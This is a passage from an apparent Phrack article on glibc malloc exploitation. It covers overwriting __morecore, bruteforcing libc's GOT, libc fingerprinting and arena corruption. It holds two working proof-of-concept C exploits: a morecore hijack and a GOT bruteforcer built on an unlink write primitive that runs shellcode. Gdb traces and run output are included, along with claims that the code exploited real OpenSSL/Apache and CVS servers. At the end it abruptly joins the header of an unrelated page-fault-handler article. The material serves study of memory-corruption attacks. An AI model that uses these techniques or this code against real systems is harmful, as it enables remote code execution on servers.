In some cases it may be necessary to arrange things in order to avoid the
code crashing before.
The morecore function pointer is called each time the heap needs to be
extended, so forcing the process to allocate a lot of memory is
recommended after overwriting the pointer.
In case we are not able to avoid a crash before taking control of the
process, there's no problem (unless the server dies completely), as we can
expect the libc to be mapped in the same address in most cases.
--] 4.5.2.1 Proof of concept 5 : Jumping with morecore
The following code just shows to get the required information from a
freed chunk, calculates the address of __morecore and forces a call
to MORECORE() after having overwritten it.
[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
(!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
(!) the chunk is in bin number 64
(!) &main_arena[0] @ 0x4212DFA0
(!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault
Let's look what happened with gdb, we'll also be using a simple
modified malloc in the form of a shared library to know what is
going on inside malloc's internal structures.
[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
(!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
(!) the chunk is in bin number 64
(!) &main_arena[0] @ 0x4212DFA0
(!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Taking a look at the output step by step:
First we alloc our lonely chunk:
chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4: 0x00000209 0x00000000 0x00000000 0x00000000
0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000
Note we call malloc() again with another pointer, letting this aux
pointer be the chunk next to the top_chunk... to avoid the
differences in the way it is handled when freed with our purposes
(remember in this special case the chunk would be coalesced with the
top_chunk without getting linked to any bin):
aux = (unsigned int*)malloc(0x0);
[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
- returning 0x8049a18 from top_chunk
- new top 0x8049c20 size 993
[1422] MALLOC(0) - CHUNK_ALLOC(0x40019bc0,16)
- returning 0x8049c20 from top_chunk
- new top 0x8049c30 size 977
This is the way the heap looks like up to now...
--- HEAP DUMP ---
ADDRESS SIZE FLAGS
sbrk_base 0x80499f8
chunk 0x80499f8 33(0x21) (inuse)
chunk 0x8049a18 521(0x209) (inuse)
chunk 0x8049c20 17(0x11) (inuse)
chunk 0x8049c30 977(0x3d1) (top)
sbrk_end 0x804a000
--- HEAP LAYOUT ---
|A||A||A||T|
--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
No bins at all exist now, they are completely empty.
After that we free him:
free(chunk);
[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
- fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
- new free chunk
(gdb) x/8x chunk-1
0x80499d4: 0x00000209 0x4212e1a0 0x4212e1a0 0x00000000
0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000
The chunk was freed and inserted into some bin... which was empty as
this was the first chunk freed. So this is a 'lonely chunk', the
only chunk in one bin.
Here we can see both bk and fd pointing to the same address in
libc's memory, let's see how the main_arena looks like now:
0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0
0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0
0x4212dfc0 <main_arena+32>: 0x4212dfb8 0x4212dfb8 0x4212dfc0 0x4212dfc0
0x4212dfd0 <main_arena+48>: 0x4212dfc8 0x4212dfc8 0x4212dfd0 0x4212dfd0
0x4212dfe0 <main_arena+64>: 0x4212dfd8 0x4212dfd8 0x4212dfe0 0x4212dfe0
0x4212dff0 <main_arena+80>: 0x4212dfe8 0x4212dfe8 0x4212dff0 0x4212dff0
0x4212e000 <main_arena+96>: 0x4212dff8 0x4212dff8 0x4212e000 0x4212e000
0x4212e010 <main_arena+112>: 0x4212e008 0x4212e008 0x4212e010 0x4212e010
0x4212e020 <main_arena+128>: 0x4212e018 0x4212e018 0x4212e020 0x4212e020
0x4212e030 <main_arena+144>: 0x4212e028 0x4212e028 0x4212e030 0x4212e030
...
...
0x4212e180 <main_arena+480>: 0x4212e178 0x4212e178 0x4212e180 0x4212e180
0x4212e190 <main_arena+496>: 0x4212e188 0x4212e188 0x4212e190 0x4212e190
0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0
0x4212e1b0 <main_arena+528>: 0x4212e1a8 0x4212e1a8 0x4212e1b0 0x4212e1b0
0x4212e1c0 <main_arena+544>: 0x4212e1b8 0x4212e1b8 0x4212e1c0 0x4212e1c0
Note the completely just initialized main_arena with all its bins
pointing to themselves, and the just added free chunk to one of the
bins...
(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0
Also, both bin pointers refer to our lonely chunk.
Let's take a look at the heap in this moment:
--- HEAP DUMP ---
ADDRESS SIZE FLAGS
sbrk_base 0x80499f8
chunk 0x80499f8 33(0x21) (inuse)
chunk 0x8049a18 521(0x209) (free) fd = 0x40019dc0 | bk = 0x40019dc0
chunk 0x8049c20 16(0x10) (inuse)
chunk 0x8049c30 977(0x3d1) (top)
sbrk end 0x804a000
--- HEAP LAYOUT ---
|A||64||A||T|
--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
bin -> 64 (0x40019dc0)
free_chunk 0x8049a18 - size 520
Using the known size of the chunk, we know in which bin it was
placed, so we can get main_arena's address and, finally, __morecore.
(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>: 0x4207e034 0x00000000 0x00000000 0x00000000
0x4212df90 <__morecore+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0
0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0
Here, by default __morecore points to __default_morecore:
(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push %ebp
0x4207e035 <__default_morecore+1>: mov %esp,%ebp
0x4207e037 <__default_morecore+3>: push %ebx
0x4207e038 <__default_morecore+4>: sub $0x10,%esp
0x4207e03b <__default_morecore+7>: call 0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov 0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push %eax
0x4207e04a <__default_morecore+22>: call 0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov 0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov %eax,%edx
0x4207e054 <__default_morecore+32>: add $0x10,%esp
0x4207e057 <__default_morecore+35>: xor %eax,%eax
0x4207e059 <__default_morecore+37>: cmp $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov %ebp,%esp
0x4207e061 <__default_morecore+45>: pop %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea 0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea 0x0(%edi,1),%edi
To conclude, we overwrite __morecore with a bogus address, and force
malloc to call __morecore:
*(unsigned int*)morecore = 0x41414141;
chunk=(unsigned int*)malloc(CHUNK_SIZE*4);
[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
- extending top chunk
- previous size 976
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x4207a148 in malloc () from /lib/i686/libc.so.6
#2 0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3 0x42017589 in __libc_start_main () from /lib/i686/libc.so.6
(gdb) frame 1
#1 0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>: call 0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>: mov 0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>: sub $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>: push %esi
0x4207a8b6 <chunk_alloc+1478>: call *(%eax)
At this point we see chunk_alloc trying to jump to __morecore
(gdb) x/x $eax
0x4212df80 <__morecore>: 0x41414141
#include <stdio.h>
#include <stdlib.h>
/* some malloc code... */
#define MAX_SMALLBIN 63
#define MAX_SMALLBIN_SIZE 512
#define SMALLBIN_WIDTH 8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz) (((unsigned long)(sz)) >> 3)
#define bin_index(sz) \
(((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\
((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\
((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\
((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\
((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\
((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
126)
#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200
int main(int argc, char *argv[]){
unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
chunk = (unsigned int*)malloc(CHUNK_SIZE);
aux = (unsigned int*)malloc(0x0);
free(chunk);
printf("(-) lonely chunk was freed, gathering information...\n");
sz = chunk[-1] & ~SIZE_MASK;
fd = chunk[0];
bk = chunk[1];
if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
else printf("\t(X) bk != fd ...\n"),exit(-1);
bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
printf("\t(!) the chunk is in bin number %d\n",bin);
arena = bk-bin*2*sizeof(void*);
printf("\t(!) &main_arena[0] @ 0x%X\n",arena);
morecore = arena-32;
printf("\t(!) __morecore @ 0x%X\n",morecore);
printf("(-) overwriting __morecore...\n");
*(unsigned int*)morecore = 0x41414141;
printf("(-) forcing a call to MORECORE()...\n");
chunk=(unsigned int*)malloc(CHUNK_SIZE*4);
return 7;
}
This technique works even when the process is loaded in a randomized
address space, as the address of the function pointer is gathered in
runtime from the targeted process. The mechanism is fully generic, as
every process linked to the glibc can be exploited this way.
Also, no bruteforcing is needed, as just one try is enough to exploit the
process.
On the other hand, this technique is not longer useful in newer libcs,
i.e. 2.2.93, a for the changed suffered by malloc code. A new approach
is suggested later to help in exploitation of these libc versions.
Morecore idea was successfully tested on different glibc versions and Linux
distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake
8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and
Slackware 2.2.19 (libc-2.2.3.so).
Exploit code using this trick is able to exploit the vulnerable
OpenSSL/Apache servers without any hardcoded addresses in at least the
above mentioned default distributions.
--] 4.5.3 Libc's GOT bruteforcing
In case the morecore trick doesn't work (we can try, as just requires
one try), meaning probably that our target is using a newer libc, we
still have the obtained glibc's bin address. We know that above that
address is going to be located the glibc's GOT.
We just need to bruteforce upwards until hitting any entry of a going to
be called libc function. This bruteforce mechanism may take a while, but
not more time that should be needed to bruteforce the main object's GOT
(in case we obtained its aproximate location some way).
To speed up the process, the bruteforcing start point should be obtained
by adjusting the retrieved bin address with a fixed value. This value
should be enough to avoid corrupting the arena to prevent crashing the
process. Also, the bruteforcing can be performed using a step size bigger
than one. Using a higher step value will need a less tries, but may miss
the GOT. The step size should be calculated considering the GOT size and
the number of GOT entries accesses between each try (if a higher number
of GOT entries are used, it's higher the probability of modifying an entry
that's going to be accessed).
After each try, it is important to force the server to perform as many
actions as possible, in order to make it call lots of different libc
calls so the probability of using the GOT entry that was overwritten
is higher.
Note the bruteforcing mechanism may crash the process in several ways, as
it is corrupting libc data.
As we obtained the address in runtime, we can be sure we are bruteforcing
the right place, even if the target is randomizing the process/lib address
space, and that we will end hitting some GOT entry.
In a randomized load address scenario, we'll need to hit a GOT entry
before the process crashes to exploit the obtained bin address if there
is no relationship between the load addresses in the crashed process (the
one we obtained the bin address from) and the new process handling our
new requests (i.e. forked processes may inherit father's memory layout in
some randomization implementations). However, the bruteforcing mechanism
can take into account the already tried offsets once it has obtained the
new bin address, as the relative offset between the bin and the GOT is
constant.
Moreover, this technique applies to any process linked to the glibc.
Note that we could be able to exploit a server bruteforcing some specific
function pointers (i.e. located in some structures such as network output
buffers), but these approach is more generic.
The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0,
Redhat 7.2 and Redhat 7.1 default installations.
Exploit code bruteforcing libc's GOT is able to exploit the vulnerable
CVS servers without any hardcoded addresses in at least the above
mentioned default distributions.
--] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing
The following code bruteforces itself. The process tries to find himself,
to finally end in an useless endless loop.
#include <stdio.h>
#include <fcntl.h>
#define ADJUST 0x200
#define STEP 0x2
#define LOOP_SC "\xeb\xfe"
#define LOOP_SZ 2
#define SC_SZ 512
#define OUTPUT_SZ 64 * 1024
#define SOMEOFFSET(x) 11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ 32 + (rand() % 512)
#define PREV_INUSE 1
#define IS_MMAP 2
#define NON_MAIN_ARENA 4
unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long
where,unsigned long sz){
unsigned long *unlinkMe;
int i=0;
if(sz<13) sz = 13;
unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
for(;i<sz;i++)
if(i%2)
unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
else
unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
free(unlinkMe+SOMEOFFSET(sz));
return unlinkMe;
}
/* just force some libc function calls between each bruteforcing iteration */
void do_little(void){
int w,r;
char buf[256];
sleep(0);
w = open("/dev/null",O_WRONLY);
r = open("/dev/urandom",O_RDONLY);
read(r,buf,sizeof(buf));
write(w,buf,sizeof(buf));
close(r);
close(w);
return;
}
int main(int argc, char **argv){
unsigned long *output,*bin=0;
unsigned long i=0,sz;
char *sc,*p;
unsigned long *start=0;
printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");
sc = (char*) malloc(SC_SZ * LOOP_SZ);
printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
p = sc;
for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
memcpy(p,LOOP_SC,LOOP_SZ);
printf("(-) forcing bin address disclosure... ");
output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ);
for(i=0;i<OUTPUT_SZ-1;i++)
if(output[i] == output[i+1] &&
((output[i] & 0xffff0000) != 0xffff0000) ) {
bin = (unsigned long*)output[i];
printf("%p\n",bin);
start = bin - ADJUST;
}
if(!bin){
printf("failed\n");
return 0;
}
if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
else i = 0;
printf("(-) starting libc GOT bruteforcing @ %p\n",start);
for(;;i++){
sz = SOMECHUNKSZ;
printf(" try #%.2d writing %p at %p using %6d bytes chunk\n",
i,sc,start-(i*STEP),s*sizeof(unsigned long));
aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
do_little();
}
printf("I'm not here, this is not happening\n");
}
Let's see what happens:
$ ./got_bf
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #00 writing 0x8049cb0 at 0x4212a9dc using 1944 bytes chunk
try #01 writing 0x8049cb0 at 0x4212a9d4 using 588 bytes chunk
try #02 writing 0x8049cb0 at 0x4212a9cc using 1148 bytes chunk
try #03 writing 0x8049cb0 at 0x4212a9c4 using 1072 bytes chunk
try #04 writing 0x8049cb0 at 0x4212a9bc using 948 bytes chunk
try #05 writing 0x8049cb0 at 0x4212a9b4 using 1836 bytes chunk
...
try #140 writing 0x8049cb0 at 0x4212a57c using 1416 bytes chunk
try #141 writing 0x8049cb0 at 0x4212a574 using 152 bytes chunk
try #142 writing 0x8049cb0 at 0x4212a56c using 332 bytes chunk
Segmentation fault
We obtained 142 consecutive tries without crashing using random sized
chunks. We run our code again, starting from try number 143 this time,
note the program gets the base bruteforcing address again.
$ ./got_bf 143
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #143 writing 0x8049cb0 at 0x4212a564 using 1944 bytes chunk
try #144 writing 0x8049cb0 at 0x4212a55c using 588 bytes chunk
try #145 writing 0x8049cb0 at 0x4212a554 using 1148 bytes chunk
try #146 writing 0x8049cb0 at 0x4212a54c using 1072 bytes chunk
try #147 writing 0x8049cb0 at 0x4212a544 using 948 bytes chunk
try #148 writing 0x8049cb0 at 0x4212a53c using 1836 bytes chunk
try #149 writing 0x8049cb0 at 0x4212a534 using 1132 bytes chunk
try #150 writing 0x8049cb0 at 0x4212a52c using 1432 bytes chunk
try #151 writing 0x8049cb0 at 0x4212a524 using 904 bytes chunk
try #152 writing 0x8049cb0 at 0x4212a51c using 2144 bytes chunk
try #153 writing 0x8049cb0 at 0x4212a514 using 2080 bytes chunk
Segmentation fault
It crashed much faster... probably we corrupted some libc data, or we have
reached the GOT...
$ ./got_bf 154
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #154 writing 0x8049cb0 at 0x4212a50c using 1944 bytes chunk
Segmentation fault
$ ./got_bf 155
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #155 writing 0x8049cb0 at 0x4212a504 using 1944 bytes chunk
try #156 writing 0x8049cb0 at 0x4212a4fc using 588 bytes chunk
try #157 writing 0x8049cb0 at 0x4212a4f4 using 1148 bytes chunk
Segmentation fault
$ ./got_bf 158
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #158 writing 0x8049cb0 at 0x4212a4ec using 1944 bytes chunk
...
try #179 writing 0x8049cb0 at 0x4212a444 using 1244 bytes chunk
Segmentation fault
$ ./got_bf 180
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #180 writing 0x8049cb0 at 0x4212a43c using 1944 bytes chunk
try #181 writing 0x8049cb0 at 0x4212a434 using 588 bytes chunk
try #182 writing 0x8049cb0 at 0x4212a42c using 1148 bytes chunk
try #183 writing 0x8049cb0 at 0x4212a424 using 1072 bytes chunk
Segmentation fault
$ ./got_bf 183
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #183 writing 0x8049cb0 at 0x4212a424 using 1944 bytes chunk
try #184 writing 0x8049cb0 at 0x4212a41c using 588 bytes chunk
try #185 writing 0x8049cb0 at 0x4212a414 using 1148 bytes chunk
try #186 writing 0x8049cb0 at 0x4212a40c using 1072 bytes chunk
try #187 writing 0x8049cb0 at 0x4212a404 using 948 bytes chunk
try #188 writing 0x8049cb0 at 0x4212a3fc using 1836 bytes chunk
try #189 writing 0x8049cb0 at 0x4212a3f4 using 1132 bytes chunk
try #190 writing 0x8049cb0 at 0x4212a3ec using 1432 bytes chunk
Finally, the loop shellcode gets executed... 5 crashes were needed,
stepping 8 bytes each time. Playing with the STEP and the ADJUST values
and the do_little() function will yield different results.
--] 4.5.4 Libc fingerprinting
Having a bin address allows us to recognize the libc version being
attacked.
We just need to build a database with different libcs from different
distributions to match the obtained bin address and bin number.
Knowing exactly which is the libc the target process has loaded gives us
the exact absolute address of any location within libc, such as:
function pointers, internal structures, flags, etc. This information can
be abused to build several attacks in different scenarios, i.e. knowing
the location of functions and strings allows to easily craft return into
libc attacks [14].
Besides, knowing the libc version enables us to know which Linux
distribution is running the target host. These could allow further
exploitation in case we are not able to exploit the bug (the one we are
using to leak the bin address) to execute code.
--] 4.5.5 Arena corruption (top, last remainder and bin modification)
From the previously gathered main_arena address, we know the location of
any bin, including the top chunk and the last reminder chunk.
Corrupting any of this pointers will completely modify the allocator
behavior. Right now, I don't have any code to confirm this, but there are
lot of possibilities open for research here, as an attacker might be
able to redirect a whole bin into his own supplied input.
---------------------------------------------------------------------------
--] 4.6 Copying the shellcode 'by hand'
Other trick that allows the attacker to know the exact location of the
injected shellcode, is copying the shellcode to a fixed address using the
aa4bmo primitive.
As we can't write any value, using unaligned writes is needed to create
the shellcode in memory, writting 1 or 2 bytes each time.
We need to be able to copy the whole shellcode before the server crashes
in order to use this technique.
---------------------------------------------------------------------------
--] 5 Conclusions
malloc based vulnerabilities provide a huge opportunity for fully
automated exploitation.
The ability to transform the aa4bmo primitive into memory leak primitives
allows the attacker to exploit processes without any prior knowledge, even
in presence of memory layout randomization schemes.
[ Note by editors: It came to our attention that the described
technique might not work for the glibc 2.3 serie. ]
---------------------------------------------------------------------------
--] 6 Thanks
I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano,
kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon,
module, ...
Classifying you takes some time (some 'complex' ppl), so I'll just say
thank you for encouraging me to write this article, sharing your ideas,
letting me learn a lot from you every day, reviewing the article,
implementing the morecore idea for first time, being my friends, asking
for torta, not making torta, personal support, coding nights, drinking
beer, ysm, roquefort pizza, teletubbie talking, making work very
interesting, making the world a happy place to live, making people hate
you because of the music...
(you should know which applies for you, do not ask)
---------------------------------------------------------------------------
--] 7 References
[1] http://www.malloc.de/malloc/ptmalloc2.tar.gz
ftp://g.oswego.edu/pub/misc/malloc.c
[2] www.phrack.org/phrack/57/p57-0x08
Vudo - An object superstitiously believed to embody magical power
Michel "MaXX" Kaempf
[3] www.phrack.org/phrack/57/p57-0x09
Once upon a free()
anonymous
[4] http://www.phrack.org/show.php?p=59&a=7
Advances in format string exploitation
gera and riq
[5] http://www.coresecurity.com/common/showdoc.php? \
idx=359&idxseccion=13&idxmenu=32
About exploits writing
gera
[6] http://online.securityfocus.com/bid/5363
[7] http://security.e-matters.de/advisories/012003.txt
[8] http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
JPEG COM Marker Processing Vulnerability in Netscape Browsers
Solar Designer
[9] http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
Local root exploit in LBNL traceroute
Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt
w00w00 on Heap Overflows
Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
Smashing The Stack For Fun And Profit
Aleph One
[12] http://phrack.org/show.php?p=55&a=8
The Frame Pointer Overwrite
klog
[13] http://www.phrack.org/show.php?p=59&a=9
Bypassing PaX ASLR protection
p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
The advanced return-into-lib(c) exploits
Nergal
---------------------------------------------------------------------------
Appendix I - malloc internal structures overview
This appendix contains a brief overview about some details of malloc
inner workings we need to have in mind in order to fully understand most
of the techniques explained in this paper.
Free consolidated 'chunks' of memory are maintained mainly
(forgetting the top chunk and the last_remainder chunk) in
circular double-linked lists, which are initially empty and evolve
with the heap layout. The circularity of these lists is very important
for us, as we'll see later on.
A 'bin' is a pair of pointers from where these lists hang. There
exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big
bins'. Small bins contain equally sized chunks, while big bins are
composed of not the same size chunks, ordered by decreasing size.
These are the macros used to index into bins depending of its size:
#define MAX_SMALLBIN 63
#define MAX_SMALLBIN_SIZE 512
#define SMALLBIN_WIDTH 8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz) (((unsigned long)(sz)) >> 3)
#define bin_index(sz) \
(((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\
((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\
((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\
((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\
((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\
((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
126)
From source documentation we know that 'an arena is a configuration
of malloc_chunks together with an array of bins. One or more 'heaps'
are associated with each arena, except for the 'main_arena', which is
associated only with the 'main heap', i.e. the conventional free
store obtained with calls to MORECORE()...', which is the one we are
interested in.
This is the way an arena looks like...
typedef struct _arena {
mbinptr av[2*NAV + 2];
struct _arena *next;
size_t size;
#if THREAD_STATS
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
'av' is the array where bins are kept.
These are the macros used along the source code to access the bins,
we can see the first two bins are never indexed; they refer to the
topmost chunk, the last_remainder chunk and a bitvector used to
improve seek time, though this is not really important for us.
/* bitvector of nonempty blocks */
#define binblocks(a) (bin_at(a,0)->size)
/* The topmost chunk */
#define top(a) (bin_at(a,0)->fd)
/* remainder from last split */
#define last_remainder(a) (bin_at(a,1))
#define bin_at(a, i) BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i) ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))
Finally, the main_arena...
#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
{
0, 0,
IAV(0), IAV(1), IAV(2), IAV(3), IAV(4), IAV(5), IAV(6), IAV(7),
IAV(8), IAV(9), IAV(10), IAV(11), IAV(12), IAV(13), IAV(14), IAV(15),
IAV(16), IAV(17), IAV(18), IAV(19), IAV(20), IAV(21), IAV(22), IAV(23),
IAV(24), IAV(25), IAV(26), IAV(27), IAV(28), IAV(29), IAV(30), IAV(31),
IAV(32), IAV(33), IAV(34), IAV(35), IAV(36), IAV(37), IAV(38), IAV(39),
IAV(40), IAV(41), IAV(42), IAV(43), IAV(44), IAV(45), IAV(46), IAV(47),
IAV(48), IAV(49), IAV(50), IAV(51), IAV(52), IAV(53), IAV(54), IAV(55),
IAV(56), IAV(57), IAV(58), IAV(59), IAV(60), IAV(61), IAV(62), IAV(63),
IAV(64), IAV(65), IAV(66), IAV(67), IAV(68), IAV(69), IAV(70), IAV(71),
IAV(72), IAV(73), IAV(74), IAV(75), IAV(76), IAV(77), IAV(78), IAV(79),
IAV(80), IAV(81), IAV(82), IAV(83), IAV(84), IAV(85), IAV(86), IAV(87),
IAV(88), IAV(89), IAV(90), IAV(91), IAV(92), IAV(93), IAV(94), IAV(95),
IAV(96), IAV(97), IAV(98), IAV(99), IAV(100), IAV(101), IAV(102), IAV(103),
IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
},
&main_arena, /* next */
0, /* size */
#if THREAD_STATS
0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
MUTEX_INITIALIZER /* mutex */
};
The main_arena is the place where the allocator stores the 'bins' to which
the free chunks are linked depending on they size.
The little graph below resumes all the structures detailed before:
<main_arena> @ libc's DATA
[bin_n] (first chunk)
ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd
[ chunk
ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk
[bin_n+1] (last chunk)
.
.
.
[bin_X]
ptr] ----> [<- fd
[ lonely but interesting chunk
ptr] ----> [<- bk
.
.
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f
|=-------------=[ Hijacking Linux Page Fault Handler ]=------------------=|
|=-------------=[ Exception Table ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ buffer <buffer@antifork.org> ]=---------------------=|
|=------------------[ http://buffer.antifork.org ]=----------------------=|
--[ Contents
1. Introduction
2. System Calls and User Space Access
3. Page Fault Exception
4. Implementation
5. Further Considerations
6. Conclusions
